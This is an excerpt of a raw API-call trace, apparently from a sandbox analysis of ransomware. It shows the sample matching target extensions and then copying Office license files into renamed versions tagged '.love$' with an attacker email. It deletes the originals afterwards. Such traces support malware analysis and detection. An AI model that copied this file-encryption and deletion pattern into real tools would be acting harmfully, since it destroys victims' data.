[0280.844] lstrlenW (lpString=".rar") returned 4 [0280.844] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0280.844] lstrlenW (lpString=".bz2") returned 4 [0280.844] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0280.844] lstrlenW (lpString=".7z") returned 3 [0280.844] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0280.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0280.844] lstrlenW (lpString=".dbf") returned 4 [0280.844] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0280.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0280.858] lstrlenW (lpString=".1cd") returned 4 [0280.858] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0280.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0280.858] lstrlenW (lpString=".jpg") returned 4 [0280.858] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0280.858] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0280.858] lstrlenW (lpString="O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 41 [0280.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0280.861] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11215) returned 1 [0280.861] CloseHandle (hObject=0x3f4) returned 1 [0280.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0280.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0280.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0280.862] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0280.862] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0280.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0280.864] GetLastError () returned 0x0 [0280.864] ReadFile (in: hFile=0x3f4, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2bcf, lpOverlapped=0x0) returned 1 [0280.893] WriteFile (in: hFile=0x4e0, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2bd0, lpOverlapped=0x0) returned 1 [0280.895] ReadFile (in: hFile=0x3f4, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0280.895] WriteFile (in: hFile=0x4e0, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x126, lpOverlapped=0x0) returned 1 [0280.895] SetEndOfFile (hFile=0x4e0) returned 1 [0280.895] CloseHandle (hObject=0x4e0) returned 1 [0280.895] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0280.895] SetEndOfFile (hFile=0x3f4) returned 1 [0280.899] CloseHandle (hObject=0x3f4) returned 1 [0280.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0280.900] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms")) returned 1 [0280.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0280.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0280.902] lstrlenW (lpString=".doc") returned 4 [0280.902] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0280.902] lstrlenW (lpString=".docx") returned 5 [0280.902] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0280.902] lstrlenW (lpString=".pdf") returned 4 [0280.902] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0280.902] lstrlenW (lpString=".xls") returned 4 [0280.902] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0280.902] lstrlenW (lpString=".xlsx") returned 5 [0280.903] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0280.903] lstrlenW (lpString=".ppt") returned 4 [0280.903] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0280.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0280.903] lstrlenW (lpString=".zip") returned 4 [0280.903] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0280.903] lstrlenW (lpString=".rar") returned 4 [0280.903] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0280.903] lstrlenW (lpString=".bz2") returned 4 [0280.903] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0280.903] lstrlenW (lpString=".7z") returned 3 [0280.903] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0280.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0280.903] lstrlenW (lpString=".dbf") returned 4 [0280.903] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0280.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0280.903] lstrlenW (lpString=".1cd") returned 4 [0280.903] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0280.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0280.903] lstrlenW (lpString=".jpg") returned 4 [0280.903] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0280.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0280.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0280.903] lstrlenW (lpString=".doc") returned 4 [0280.903] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0280.903] lstrlenW (lpString=".docx") returned 5 [0280.903] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0280.904] lstrlenW (lpString=".pdf") returned 4 [0280.904] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0280.904] lstrlenW (lpString=".xls") returned 4 [0280.904] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0280.904] lstrlenW (lpString=".xlsx") returned 5 [0280.904] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0280.904] lstrlenW (lpString=".ppt") returned 4 [0280.904] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0280.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0280.904] lstrlenW (lpString=".zip") returned 4 [0280.904] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0280.904] lstrlenW (lpString=".rar") returned 4 [0280.904] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0280.904] lstrlenW (lpString=".bz2") returned 4 [0280.904] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0280.904] lstrlenW (lpString=".7z") returned 3 [0280.904] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0280.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0280.904] lstrlenW (lpString=".dbf") returned 4 [0280.904] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0280.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0280.904] lstrlenW (lpString=".1cd") returned 4 [0280.904] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0280.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0280.904] lstrlenW (lpString=".jpg") returned 4 [0280.904] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0280.905] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0280.905] lstrlenW (lpString="O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 45 [0280.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0280.906] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11669) returned 1 [0280.906] CloseHandle (hObject=0x3f4) returned 1 [0280.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0280.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0280.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0280.907] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0280.908] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0280.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0280.909] GetLastError () returned 0x0 [0280.910] ReadFile (in: hFile=0x3f4, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2d95, lpOverlapped=0x0) returned 1 [0280.916] WriteFile (in: hFile=0x4e0, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2da0, lpOverlapped=0x0) returned 1 [0280.918] ReadFile (in: hFile=0x3f4, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0280.918] WriteFile (in: hFile=0x4e0, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x12e, lpOverlapped=0x0) returned 1 [0280.918] SetEndOfFile (hFile=0x4e0) returned 1 [0280.932] CloseHandle (hObject=0x4e0) returned 1 [0280.932] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0280.932] SetEndOfFile (hFile=0x3f4) returned 1 [0280.935] CloseHandle (hObject=0x3f4) returned 1 [0280.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0280.936] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0280.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0280.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0280.937] lstrlenW (lpString=".doc") returned 4 [0280.937] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0280.937] lstrlenW (lpString=".docx") returned 5 [0280.937] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0280.937] lstrlenW (lpString=".pdf") returned 4 [0280.937] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0280.937] lstrlenW (lpString=".xls") returned 4 [0280.937] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0280.937] lstrlenW (lpString=".xlsx") returned 5 [0280.937] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0280.937] lstrlenW (lpString=".ppt") returned 4 [0280.938] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0280.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0280.938] lstrlenW (lpString=".zip") returned 4 [0280.938] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0280.938] lstrlenW (lpString=".rar") returned 4 [0280.938] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0280.938] lstrlenW (lpString=".bz2") returned 4 [0280.938] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0280.938] lstrlenW (lpString=".7z") returned 3 [0280.938] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0280.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0280.938] lstrlenW (lpString=".dbf") returned 4 [0280.938] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0280.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0280.938] lstrlenW (lpString=".1cd") returned 4 [0280.938] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0280.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0280.938] lstrlenW (lpString=".jpg") returned 4 [0280.938] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0280.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0280.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0280.938] lstrlenW (lpString=".doc") returned 4 [0280.938] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0280.938] lstrlenW (lpString=".docx") returned 5 [0280.938] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0280.938] lstrlenW (lpString=".pdf") returned 4 [0280.938] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0280.938] lstrlenW (lpString=".xls") returned 4 [0280.938] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0280.938] lstrlenW (lpString=".xlsx") returned 5 [0280.938] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0280.938] lstrlenW (lpString=".ppt") returned 4 [0280.938] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0280.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0280.939] lstrlenW (lpString=".zip") returned 4 [0280.939] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0280.939] lstrlenW (lpString=".rar") returned 4 [0280.939] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0280.939] lstrlenW (lpString=".bz2") returned 4 [0280.939] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0280.939] lstrlenW (lpString=".7z") returned 3 [0280.939] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0280.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0280.939] lstrlenW (lpString=".dbf") returned 4 [0280.939] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0280.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0280.939] lstrlenW (lpString=".1cd") returned 4 [0280.939] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0280.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0280.939] lstrlenW (lpString=".jpg") returned 4 [0280.939] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0280.939] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0280.939] lstrlenW (lpString="O365ProPlusR_Grace-ul-oob.xrm-ms") returned 32 [0280.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0280.940] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11619) returned 1 [0280.940] CloseHandle (hObject=0x3f4) returned 1 [0280.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms")) returned 0x220 [0280.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0280.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0280.941] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0280.941] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0280.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0280.943] GetLastError () returned 0x0 [0280.943] ReadFile (in: hFile=0x3f4, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2d63, lpOverlapped=0x0) returned 1 [0281.178] WriteFile (in: hFile=0x4e0, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2d70, lpOverlapped=0x0) returned 1 [0281.179] ReadFile (in: hFile=0x3f4, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0281.179] WriteFile (in: hFile=0x4e0, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x114, lpOverlapped=0x0) returned 1 [0281.179] SetEndOfFile (hFile=0x4e0) returned 1 [0281.179] CloseHandle (hObject=0x4e0) returned 1 [0281.179] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.180] SetEndOfFile (hFile=0x3f4) returned 1 [0281.183] CloseHandle (hObject=0x3f4) returned 1 [0281.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0281.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms")) returned 1 [0281.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0281.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0281.185] lstrlenW (lpString=".doc") returned 4 [0281.185] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0281.185] lstrlenW (lpString=".docx") returned 5 [0281.185] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0281.185] lstrlenW (lpString=".pdf") returned 4 [0281.185] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0281.185] lstrlenW (lpString=".xls") returned 4 [0281.185] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0281.185] lstrlenW (lpString=".xlsx") returned 5 [0281.185] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0281.185] lstrlenW (lpString=".ppt") returned 4 [0281.185] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0281.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0281.186] lstrlenW (lpString=".zip") returned 4 [0281.186] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0281.186] lstrlenW (lpString=".rar") returned 4 [0281.186] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0281.186] lstrlenW (lpString=".bz2") returned 4 [0281.186] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0281.186] lstrlenW (lpString=".7z") returned 3 [0281.186] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0281.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0281.186] lstrlenW (lpString=".dbf") returned 4 [0281.186] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0281.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0281.186] lstrlenW (lpString=".1cd") returned 4 [0281.186] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0281.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0281.186] lstrlenW (lpString=".jpg") returned 4 [0281.186] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0281.186] lstrlenW 